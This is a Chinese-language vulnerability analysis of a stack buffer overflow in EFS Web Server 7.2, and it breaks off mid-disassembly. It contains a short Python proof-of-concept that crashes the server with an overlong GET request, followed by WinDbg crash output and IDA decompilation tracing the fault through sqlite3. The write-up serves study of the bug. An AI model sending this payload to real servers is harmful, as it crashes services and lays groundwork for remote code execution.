EFS Web Server 7.2漏洞分析
简介
EFS Web Server是一款web服务器软件,能快速的搭建web服务。它在接受GET请求时,由于没有有效的控制请求字符串的长度导致栈溢出。
分析环境
OS: Microsoft Windows 10 64bit 专业版
Software: EFS Web Server 7.2
winDbg: 6.12.2.633
IDAPro: 6.8 绿色版
python: python 2.7
漏洞分析
编写如下的脚本用作poc
# coding=utf-8
# fileName: poc.py
# usage: python poc.py ip payloadNums
import socket
import sys
RHOST = sys.argv[1]
RPORT = 80
payload = '\x41'*int(sys.argv[2])
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((RHOST,RPORT))
s.send('GET '+payload+' HTTP/1.0\r\n\r\n')
s.close()
print 'done.'
打开EFS,用windbg附加到该进程,然后执行poc,windbg遇到异常被断下
(9f0.4220): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000001 ecx=ffffffff edx=00b65fa4 esi=00b65f7c edi=00b65fa4
eip=61c277f6 esp=00b65ef8 ebp=00b65f10 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Users\gyh\Desktop\1\sqlite3.dll -
sqlite3!sqlite3_errcode+0x8e:
61c277f6 81784c97a629a0 cmp dword ptr [eax+4Ch],0A029A697h ds:002b:4141418d=????????
这里是因为eax+4ch处的内存没有开辟出来导致内存访问异常,而且eax=41414141这是畸形字符串的值,说明传入的payload已经覆盖了eax,下面进行堆栈回溯找到上层的函数调用去分析漏洞是如何触发的
0:007> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00b65f10 61c6286c 000011b8 00001194 02ef4724 sqlite3!sqlite3_errcode+0x8e
*** WARNING: Unable to verify checksum for C:\Users\gyh\Desktop\1\fsws.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Users\gyh\Desktop\1\fsws.exe
00b65f50 00496624 00000001 00000000 00b65f7c sqlite3!sqlite3_declare_vtab+0x3282
00b675f4 00000000 00000000 00b6755c 00b67570 fsws+0x96624
函数返回在61c6286c
处,打开ida载入sqlite3.dll并跳转到该处
.text:61C6284E push ebp
.text:61C6284F mov ebp, esp
.text:61C62851 push edi
.text:61C62852 push esi
.text:61C62853 push ebx
.text:61C62854 sub esp, 2Ch
.text:61C62857 mov ebx, eax
.text:61C62859 mov edi, edx
.text:61C6285B mov [ebp+var_1C], ecx
.text:61C6285E mov esi, [ebp+arg_8]
.text:61C62861 mov dword ptr [esi], 0
.text:61C62867 call _sqlite3SafetyCheckOk
.text:61C6286C test eax, eax ;ret addr
.text:61C6286E jz short loc_61C62874
.text:61C62870 test edi, edi
显然漏洞的触发位置就在_sqlite3SafetyCheckOk
,直接跟进去F5
signed int __usercall sqlite3SafetyCheckOk@<eax>(int a1@<eax>)
{
signed int v1; // ebx@2
if ( a1 )
{
v1 = 1;
if ( *(_DWORD *)(a1 + 76) != -1607883113 )
{
LOBYTE(v1) = 0;
if ( sqlite3SafetyCheckSickOrOk() )
sqlite3_log(21, "API call with %s database connection pointer", "unopened");
}
}
else
{
sqlite3_log(21, "API call with %s database connection pointer", (unsigned int)"NULL");
v1 = 0;
}
return v1;
}
这里的*(_DWORD *)(a1+76)
就是漏洞触发位置的[eax+4ch]
,我们应该关注a1
。这里的a1
是上层函数传递进来的,回到上层函数F5
signed int __usercall sqlite3LockAndPrepare@<eax>(int a1@<eax>, int a2@<edx>, int a3, int a4, _DWORD *a5, int a6)
{
int v6; // ebx@1
int v7; // edi@1
signed int v8; // edx@3
signed int v9; // edx@4
signed int v10; // ST18_4@6
v6 = a1;
v7 = a2;
*a5 = 0;
if ( sqlite3SafetyCheckOk(a1) && v7 )
{
sqlite3_mutex_enter(*(_DWORD *)(v6 + 12));
sqlite3BtreeEnterAll();
v9 = sqlite3Prepare(a3, a4, a5, a6);
if ( v9 == 17 )
{
sqlite3_finalize(*a5);
v9 = sqlite3Prepare(a3, a4, a5, a6);
}
v10 = v9;
sqlite3BtreeLeaveAll();
sqlite3_mutex_leave(*(_DWORD *)(v6 + 12));
v8 = v10;
}
else
{
sqlite3_log(21, "misuse at line %d of [%.10s]", 105119, "9d6c1880fb75660bbabd693175579529785f8a6b");
v8 = 21;
}
return v8;
}
该函数传递给sqlite3SafetyCheckOk
的参数又是上层函数传递进来的第一个参数,所以继续查看00496624
返回位置处的函数,这个地址是主程序fsws.exe
的,所以再打开一个ida载入fsws.exe
.text:00496600 push ecx
.text:00496601 mov